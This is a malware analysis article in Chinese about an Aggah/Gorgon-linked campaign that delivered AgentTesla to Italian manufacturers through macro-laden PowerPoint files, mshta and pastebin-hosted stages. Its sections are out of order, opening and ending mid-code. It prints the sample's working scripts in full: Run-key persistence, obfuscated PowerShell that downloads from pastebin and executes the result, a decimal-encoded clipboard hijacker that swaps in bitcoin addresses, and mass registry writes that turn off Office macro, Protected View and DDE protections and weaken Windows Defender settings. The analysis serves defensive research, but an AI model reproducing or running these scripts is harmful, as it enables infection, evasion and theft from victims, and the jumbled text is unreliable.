"HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE", 1, "REG_DWORD"

代码段5

从代码中可以看到,powershell命令隐藏在名为$cici的变量中,该变量立即从十进制转换为相对ascii值。

18.png

代码片段6

在代码片段6中,研究人员找到了一个Powershell代码,该代码指示插入Microsoft Windows Anti-Malware排除项中的以下过程:msbuild,calc,powershell,wscript,mshta和cmd。

此复杂链中的另一个脚本是YL0je2fU:


< script language="VBScript" >
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).mogale)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\mogale", "[email protected](102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe ((gp HKCU:\Software).mogale)|IEX", null, objConfig, intProcessID)
self.close
< /script >

代码段7

即使在这种情况下,也将使用相同的变量名“$ cici”嵌入其中的powershell脚本,但其主体如下:

20.png

代码段8

该脚本会在受害设备的剪贴板中进行持续检查,查找比特币地址,其中一些地址也经过硬编码。最后一个阶段是UyFaSxgj:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/eyGv9x4B'));$_Xpin=$_Xpin.replace('.','*!(@*#(#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段9

该组件通过powershell脚本生成了一个来自pastebin eyGv9x4B的二进制文件,但是不幸的是,在分析时,该粘贴已被删除。

这个示例可以向研究人员暗示由攻击者构建的恶意基础架构的强大功能,其中组件可以随时被删除或替换为另一个组件。

有效载荷

如前所述,最终的有效载荷是AgentTesla,它仍然是目前行的恶意软件之一,会窃取有关受害者的大量敏感信息。在过去的几年中,研究人员不断研究这种软件的演变,并列举了该攻击组织窃取的所有敏感数据。

然而,同样在这种情况下,研究人员获得了最终的有效载荷和SMTP客户端的配置,该客户端将发送被盗取的信息:

22.png

AgentTesla SMTP客户端的配置

攻击者已临时创建域“atn-com.pw”,以管理感染活动。通过研究域的正常运行时间,研究人员能够重构攻击攻击者的感染活动。

23.png

有关C2正常运行时间统计信息

如上所示,该域名已在1月的最后几天注册,并且自四月中旬以来一直处于活动状态

总结

毫无疑问,隐藏在这场攻击背后的攻击者在近几个月持续对意大利的生产运营的许多组织持续发起了网络攻击。这些年来开发和测试的复杂的感染链为该攻击组织提供了绕过许多传统安全防御层所需的破坏力。

在此期间,攻击者的传播基础设施被用来安装不同种类的恶意软件:大多数时候,是远程访问木马以及信息和凭据窃取软件。这类恶意软件能够启用网络间谍活动和知识产权盗窃活动,从而有可能在黑市上转售这些被盗的信息。

攻击指标

微信截图_20200614184845.png

5月份,有网络安全公司发现了有一种攻击专门针对在全球范围内从事制造业的意大利公司,其中一些公司还属于汽车生产制造商。

该活动背后的团队与研究人员在Roma225、Hagga、Mana、YAKKA中所描述的恶意操作中发现的团队相同。该攻击团队于2018年首次被Unit42(网络安全提供商Palo Alto Networks的攻击情报部门)发现,当时在美国、欧洲和亚洲的科技、零售、制造和地方政府产业的大规模恶意攻击中,该团队首次出现。研究人员还发现该团队与Gorgon APT相关,但没有明确的证据证实这一点。

Gorgon APT(高级持久攻击)是一个老牌且高危的在线攻击,由Unit 42研究人员于2018年2月首次发现。自2018年2月首次被发现以来,Gorgon APT一直在策划对政府组织(美国、英国、俄罗斯、西班牙等)的攻击以及对全球企业目标的攻击。当进行网络犯罪和针对国家的攻击时,Gorgon组织经常与他人共享其攻击基础设施,这使APT组织更易于跟踪这些操作。

在Gorgon APT的基础设施中,研究人员能够识别出几种犯罪软件样本,包括特洛伊木马、NjRat等远程访问工具(RAT)和LokiBot等信息窃取工具。这些软件都托管在Gorgon组织的命令和控制(C2)域上。有趣的是,Gorgon APT不仅使用了传统的C2策略,它还使用了各种URL缩短服务来下载其有效载荷。这使得其犯罪活动更加广泛,难以追踪、识别和根除。

但是,为了跟踪分析,研究人员综合了所有受监控的攻击事件及其TTP和最终有效载荷:

1.png

从表中可以看出,Aggah攻击虽然随着时间的变化而发生了改变,但仍保持一些共同点。所有活动的初始阶段都使用了带有宏的office文档(PowerPoint或Excel),其中一些使用了注入方法。

所有攻击操作均使用“签名二进制代理执行”技术来滥用Mshta(一种合法的Microsoft工具),并且至少使用可执行文件进行感染。此外,在某些攻击活动中已经报告了使用PowerShell阶段或滥用合法Web服务的情况。

此外,CMSTP绕过攻击是仅在2020年才出现的一项新功能,因为被发现可利用此漏洞的首批恶意软件可追溯到2019年中,这使研究者误认为攻击者喜欢使用那些时髦的,处于比较前沿的攻击技术。关于持久性机制,研究人员注意到攻击者使用了最初计划的任务,但是在最新感染中使用了注册表运行键。所有攻击都至少使用一种混淆方法,这使得分析更加困难。

通过观察最后一个有效载荷的状态,可以肯定攻击者一直在往攻击中添加新的攻击能力。一开始,恶意软件开发者使用的是Revenge RAT,由于异常先进的传播技术和支持设施,Revenge RAT恶意软件越来越隐蔽。一旦攻击成功,攻击者便能够通过他造成严重破坏,可以通过键盘记录器或其他间谍软件监控用户行为、窃取个人信息以及分发其他恶意软件。后来,开发者有使用的是AZORult,AZORult是一种信息窃取的恶意软件,随着时间的推移已经发展成为一种多层功能的软件。今年3月,Reason Labs的网络安全研究员发现一个武器化的冠状病毒地图应用程序,用于传播AZORult恶意软件(于2016年首次被发现),目的是窃取存储在用户浏览器中的用户名、密码、信用卡号等敏感信息。4月Azorult又通过PPT文档传播,用户一旦打开就会启动恶意程序下载Azorult窃密木马,导致账号密码丢失、信息泄漏等严重后果。再后来,恶意软件的开发者就是用了Agent Tesla,这是目前开发者添加的最新攻击要素。Agent Tesla是一个基于.Net的商业化信息窃取程序,至少从2014年开始活跃,具有按键记录和远程访问Trojan(RAT)功能。该信息窃取程序还用于收集系统信息,窃取剪贴板内容以及杀死与恶意软件分析相关的进程和防病毒解决方案。今年4月攻击者利用Agent Tesla间谍软件以能源公司为目标,这些电子邮件充分利用了当今石油和天然气市场动荡的性质,攻击者利用人们对这次危机的担忧,冒充埃及著名的工程承包商(石油和加工工业工程公司,简称Enppi)。研究人员说,被列为目标的能源公司分布在马来西亚、美国、伊朗、南非、阿曼和土耳其以及菲律宾等地。受害者多为石油和天然气、木炭加工、水力发电厂、原材料制造和大型商品运输行业。6月份,亚信安全截获了一款伪装成屏幕保护程序的Agent Tesla间谍木马。该木马通过检测进程名称的方式达到反调试目的,经过解密后采用进程镂空的方式最终执行恶意攻击载荷。其会窃取多个浏览器登录凭证和COOKIE信息,截取屏幕信息,记录键盘按键,最后将收集到的数据通过SMTP发送到黑客的邮箱。

技术分析

感染链从一个带有恶意宏的恶意Microsoft Powerpoint工具开始。

2.png

样本信息

宏的内容很容易阅读,内容简短易读:

3.png

恶意宏的内容

VBA宏负责下载并执行从pastebin中检索到的恶意代码。 j [.mp是网址缩短服务,以下请求重定向并下载pastebin内容:

4.png

MSHTA攻击链

与以前的活动一样,该攻击者使用签名二进制代理执行(ID:T1218)技术来滥用“mshta.exe”(T1170)一个经过签名且合法的Microsoft工具。攻击者可以使用mshta.exe代理恶意.hta文件,Javascript或VBScript的执行。

5.png

Bnv7ruYp粘贴的代码片段

如上图所示,通过用代表字符的UTF-8编码的一个,两个或三个转义序列替换某些字符的每个实例,对代码进行简单的URI编码。

6.png

代码段1

此阶段充当一个传播过程,实际上,它通过mshta.exe下载并执行一些pastebin内容。

7.png

NIBBI作者的证据

这个lasta活动被冠以传播恶意粘贴的Pastebin用户的名字。这次的名字是“NIBBI”,第一个组件是5CzmZ5NS:

8.png

5CzmZ5NS粘贴的代码片段

第二个是sJEBiiMw:

9.png

sJEBiiMw粘贴的代码片段

第三个,YL0je2fU:

10.png

YL0je2fU粘贴的代码片段

第四部分,UyFaSxgj:

11.png

UyFaSxgj粘贴的代码片段

这种混淆技术是该特定攻击的典型特征,攻击者在许多恶意操作中都充分利用了这种混淆技术。而且,使用诸如pastebin(T1102)之类的合法网站会产生大量掩盖,例如经常被列入白名单的优势。使用这样的服务可以减少C2的暴露,在过去,其他攻击者(例如APT41,FIN6或FIN7)也使用类似的技术将攻击基础结构信息与其植入配置分离。

一旦解码了第一个组件(5CzmZ5NS),它就会揭示一些逻辑,如代码片段2所示。首先,该脚本将注册表项设置为Windows持久性机制(T1060),在其中执行以下命令

"mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"
< script language="VBScript" >CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://pastebin.com/raw/rnS6CUzX',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.com/raw/Rk4engdU'').replace(''#'',''!#[email protected]#'').replace(''!#[email protected]#'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('InstallUtil.exe',$Cli2)" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way'i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!'i am not a coder! bang 😉
self.close
< /script >

代码段2

该代码包含与安全研究人员的twitter社区相关的一些“有趣”注释,这些注释不断监视攻击者的操作。然后,通过Rk4engdU粘贴标识最终的有效载荷。

13.png

rnS6CUz粘贴的一部分

解码此十六进制流,研究人员得到以下powershell代码:

14.png

代码段3

Powershell装载机

代码段3是一个Powershell脚本,其中声明了函数“UNpaC0k33333000010001147555”,目的是以正确的方式操作两个有效载荷。它们都是.NET二进制文件,消除混淆的代码存储在deblindB变量中,然后执行。

如名称deblindB所建议的,调用“Amsi”类的静态方法“Bypass”的执行。

15.png

Amsi绕过漏洞利用证据

相反,嵌入在变量$ MNB内的有效载荷是另一种注入工具,但是这个工具不是由脚本执行的,可能是因为两个二进制文件执行相同的操作,而且只有一个就足够了。

至此,研究人员不断获取“sJEBiiMw”组件:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/ygwLUS9C'));$_Xpin=$_Xpin.replace('.','*!(@*#([email protected]#*').replace('*!(@*#([email protected]#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段4

这个脚本从pastebin: ygwLUS9C下载并执行另一个脚本,它是一个使用base64编码的脚本,替换了一些基本字符串。我们还注意到这个可执行文件使用了CMSTP绕过技术(T1191),这在我们之前的报告中已经见过了。

16.png

CMSTP绕过证据

但是,在本文所列举的示例中,存在一个与先前版本不同的新元素:通过CMSTP绕过,将VBS脚本写入“ \%TEMP%\”文件夹中,该脚本执行许多破坏性命令:

17.png

已加载并执行VBS脚本的证据

 On Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable","0","REG_DWORD"
 WScript.Sleep 100
